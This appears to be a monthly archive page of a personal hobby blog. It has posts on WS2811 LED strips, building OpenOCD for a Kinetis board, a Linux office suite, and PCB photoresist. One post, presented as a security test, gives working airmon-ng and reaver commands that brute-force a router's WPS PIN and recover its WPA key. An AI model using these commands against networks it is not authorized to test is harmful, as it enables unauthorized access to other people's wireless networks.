Month: May 2013

Controlling RGB LED strip

The RGB LED strips are using a controller chip called WS2811. This chip uses just a single data line (wire) to receive data from a microcontroller. “Timing is everything”, then this chip measure how much time the data line signal is high or low to understand what is 0 and what is 1.

The datasheet can be download from here:
http://auschristmaslighting.com/wiki_source/images/b/ba/WS2811.pdf

Other interesting posts about these LED strips:

http://bleaklow.com/2012/12/02/driving_the_ws2811_at_800khz_with_a_16mhz_avr.html

http://rurandom.org/justintime/index.php?title=Driving_the_WS2811_at_800_kHz_with_an_8_MHz_AVR

http://techblog.zenrobotics.com/2013/04/bit-banging-ws2811-led-strips-with-pwm.html

Using an iMX233-OLinuXino-NANO board to control WS2811 LED strip using LCD interface:
http://spritesmods.com/?art=imx233-ws2811

Also take a look at this nice project using these LED stripes:
http://www.pjrc.com/teensy/td_libs_OctoWS2811.html

Update: This is a nice post about WS2812 explaining more details about how it works:
http://cpldcpu.wordpress.com/2014/01/14/light_ws2812-library-v2-0-part-i-understanding-the-ws2812/

Update2: He improved his code: https://github.com/cpldcpu/light_ws2812/

Adding support to kinetis microcontroller on OpenOCD

This is the way I got OpenOCD working to program Freedom board (Kinetis KL25) using patches from Nemui San: http://nemuisan.blog.bai.ne.jp/?cid=8604 (どうもありがとうございました!)

$ git clone http://repo.or.cz/r/openocd.git

Execute the bootstrap:

$ cd openocd
$ sh bootstrap 

If you receive this error message:

bootstrap: Error: libtool is required

Then install libtool:

$ sudo apt-get install libtool

If you receive this error message:

bootstrap: 27: bootstrap: aclocal: not found

Then install automake:

$ sudo apt-get install automake

Apply the patches to openocd:

$ patch -p1 < ../nemui/openocd_20130412_nemui.patch
$ patch -p1 < ../nemui/kinetis_kl.patch

Run configure passing this parameters:

$ ./configure --enable-internal-jimtcl --enable-maintainer-mode --disable-werror --disable-shared --enable-stlink --enable-jlink --enable-rlink --enable-vsllink --enable-ti-icdi --enable-remote-bitbang

If you receive this error message:

checking for usb.h... no
configure: error: libusb or libusb-1.0 are required to build some OpenOCD driver(s)

Then install libusb and libusb-1.0 (yes, both! Not one OR other as suggested above) :

$ sudo apt-get install libusb-dev
$ sudo apt-get install libusb-1.0-0-dev

Compile it:

$ make

If you receive this error message:

/comum/workspace/kinetis/openocd/openocd/missing: linha 52: makeinfo: comando não encontrado
WARNING: `makeinfo' is missing on your system.  You should only need it if
         you modified a `.texi' or `.texinfo' file, or any other file
         indirectly affecting the aspect of the manual.  The spurious
         call might also be the consequence of using a buggy `make' (AIX,
         DU, IRIX).  You might want to install the `Texinfo' package or
         the `GNU make' package.  Grab either from any GNU archive site.
make[2]: ** [openocd.info] Erro 1

The install texinfo:

$ sudo apt-get install texinfo

Now finally install OpenOCD:

$ sudo make install

I used STM32F4Discovery (stlink-v2) as SWD programmer, this is the command line I used:

# openocd -f interface/stlink-v2.cfg -f target/kl25z_hla_flash.cfg -c "mt_flash nuttx.elf"
Open On-Chip Debugger 0.8.0-dev-00011-g70a2ffa-dirty (2013-05-22-15:19)
Licensed under GNU GPL v2
For bug reports, read
	http://openocd.sourceforge.net/doc/doxygen/bugs.html
none separate
Info : add flash_bank kinetis pflash
Info : This adapter doesn't support configurable speed
Info : STLINK v2 JTAG v17 API v2 SWIM v0 VID 0x0483 PID 0x3748
Info : Target voltage: 2.904142
Info : kl25z.cpu: hardware has 2 breakpoints, 2 watchpoints
target state: halted
target halted due to debug-request, current mode: Thread 
xPSR: 0x61000000 pc: 0x00000410 msp: 0x1ffffa14
Rize up to Internal PLLed Clock!
auto erase enabled
Info : Probing flash info for bank 0
Info : Padding image section 0 with 832 bytes
Warn : flash configuration field erased, please reset the device
Warn : Kinetis L Series supports Program Longword execution only.
wrote 31744 bytes from file nuttx.elf in 223.414917s (0.139 KiB/s)
verified 30798 bytes in 0.676004s (44.491 KiB/s)
shutdown command invoked

I need to investigate why it is too slow, last time I tested OpenOCD it was more than 15x faster.

You need to download the patches files reference above from this link: http://www.4shared.com/archive/a8zOGeNp/nemuitar.html

Note: I soldered also the 3V pin from STM32F4Discovery on pin 1 of Freedom board. To use it I need to remove the mini-USB cable from STM32F4Discovery and from Freedom board, then I connected the mini-USB to Freedom board and then connect the mini-USB of STM32F4Discovery and finally remove the mini-USB from Freedom board. After that I can run the above command.

WPS: Another Office Suite for Linux

I was looking for the WPS wireless standard and find out this nice chinese Office Suite for Linux:

http://community.wps.cn/download/

After installing it you could put it in English this way:

$ cd /opt/kingsoft/wps-office/office6/2052
$ sudo rm qt.qm wps.qm wpp.qm et.qm

Compared to [Open,Libre]office this suite is really lite and fast, it deserve your testing.

Source: http://mosayanvala.wordpress.com/2013/03/04/wps-for-linux-first-impressions/

Cracking WPS Wireless network

This is the way I tested the security of a Wireless network with WPS enabled.

Put your wireless card on Monitor mode:

$ sudo airmon-ng start wlan0

Run ‘reaver’ program to crack the WPS:

$ sudo reaver -i mon0 -b 00:11:22:33:44:55 -vv

Replace 00:11:22:33:44:55 with the BSSID of wireless router (with WPS enabled)

You should see these messages:

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 

[+] Waiting for beacon from 00:11:22:33:44:55
[+] Switching mon0 to channel 1
[+] Associated with 00:11:22:33:44:55 (ESSID: WPS-ROUTER)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00005678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 01235678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 11115670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK

Many hours later (more than 10h in my case) :

[+] Pin cracked in 38417 seconds
[+] WPS PIN: '77805034'
[+] WPA PSK: '6C0D5A37E7B0A30C'
[+] AP SSID: 'WPS-ROUTER'

Using the PCB photoresist APPELATION JH-1609

I bought this PCB photoresist from eBay:

http://www.ebay.com/itm/100g-Photoresist-Anti-etching-Blue-Paint-for-DIY-PCB-dry-film-replacement-/190741561459

Then I started searching about this product and found a nice site explaining how to replace the banana oil by lacquer thinner to dissolve the photoresist ink:

http://zapeleven.com/?p=91

Unfortunately this ebay package doesn’t came with the ‘developer’ powder, I’ll need to discover what this is chemical powder. Any help is welcome…